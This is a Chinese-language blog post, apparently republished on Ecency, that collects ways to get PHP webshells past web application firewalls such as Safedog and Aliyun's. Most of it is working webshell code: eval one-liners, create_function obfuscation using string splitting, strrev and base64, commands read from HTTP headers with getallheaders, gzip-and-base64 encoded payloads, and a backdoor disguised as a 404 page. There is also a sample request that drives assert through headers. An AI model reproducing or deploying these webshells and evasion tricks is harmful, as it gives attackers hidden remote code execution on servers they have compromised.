PHP WAF Bypass

evil0x00(43)
Published in
#cn
Words
641
Reading
3 min
Listen
Play
8y

PHP Webshell WAF Bypass

note:
整理一些php webshell waf bypass的思路有些已经不能使用了 思路学习下吧

0x01 : 前言

其实waf的bypass思路都是大同小异的大致就是尽可能找到更多不被waf拦截的函数,然后用来测试

这些关键字都被策略补上去了,接下来就使用混淆来绕过关键字检测

前段时间阿里云的一个奇葩事件 ,waf是阿里云的 然后怎么都绕不过,最后的方法是购买了一台阿里云的服务器去连接,wtf竟然连接成功了。

0x02 xKungfoo的演讲

去听了下演讲 学习了演讲者的思路

4c740a5e-d055-4f68-b572-c60f26405585.jpg

也是拿阿里云来讲解的注入绕过

f069440b-5054-41e4-bca2-9160b7c9df6f.jpg

0x02 PHP-WebShell-Bypass-WAF

经典菜刀一句话:

    <?php eval($_GET['test']); ?>
    <?php eval($_POST['test']); ?>

webshell的输入点是在GET和POST,执行函数eval(),这个是肯定被拦截的

安全狗识别waf是通过综合判断来识别webshell的,绕过的方法有两种:

  • 关键字绕过
  • 混淆绕过

a.关键字绕过:

waf的拦截规则一般是通过正则表达式来匹配的,那么就可以寻找waf拦截里没有匹配的关键字

b. 混淆绕过

<?php $function=create_function('$code','ev'.'al'.'($_G'.'ET['.'"test"]);') ?>
<?php $function=create_function('$code',strrev('$(lave').'($_G'.'ET['.'"test"]);') ?>
<?php $function=create_function('$code',base64_decode('ZXZhbCgkX0dFVFsidGVzdCJdKTs=')) ?>

腾讯云WAF 的策略是把create_function() 当作敏感函数拦截了,这三个WebShell 安全狗也都全部杀掉,先从安全狗开始尝试绕过.

这样就检测不到了

create_function_safedog_kill4.png

0x03 一些姿势

a. POST

<?php $_POST['xx']($_POST['oo']);?>

xx赋值为eval是不行的 用法如下:

589a8d8acbf84.png

b. 找一些没被过滤的函数

<?php eval(getallheaders()['Accept-Language']);>

getallheasers()函数能够获取请求头的内容 那么来试试这总姿势,先上传webshell到网站利用burp拦截请求包修改headers

直接请求是当然不行的

burp 拦截修改Accept-Language

alt

成功执行了

更加隐蔽的姿势

<?php $a=getallheaders()['xxx'];$a(getallheaders()['ooo']);>
GET /waf/getheasers.php HTTP/1.1
Host: 192.168.136.128
xxx: assert
ooo: phpinfo();
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
Accept:

0x04 编码绕过

遇到一般的waf上面的姿势还行但是一些waf会检测http请求头里面的内容,常见的base64你能想到的waf编写者也会想的到,有些会自写函数进行编码替换.

下面看gzuncompress和gzcompress函数来绕过

使用介绍

<?php eval(gzuncompress(base64_decode(getallheaders()['xx'])));>

然后再在头文件里 进行编码

http headers的里面的xx字段看起来像base64编码(其实他就是base64编码),但是解开之后发现是乱码,waf识别不出来里面的内容,还有更猥琐的方式

<?php $xx=gzuncompress(base64_decode(getallheaders()['xx']));$xx(gzuncompress(base64_decode(getallheaders()['oo'])));>

0x05 加上404伪装

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
 
...
 
<?php
$xx=getallheaders()['xx'];
$oo=getallheaders()['oo'];
if($xx!="" and $oo!=""){
  $xx=gzuncompress(base64_decode($xx));$xx(gzuncompress(base64_decode($oo)));
}
>
</body></html>
PHP WAF Bypass | Ecency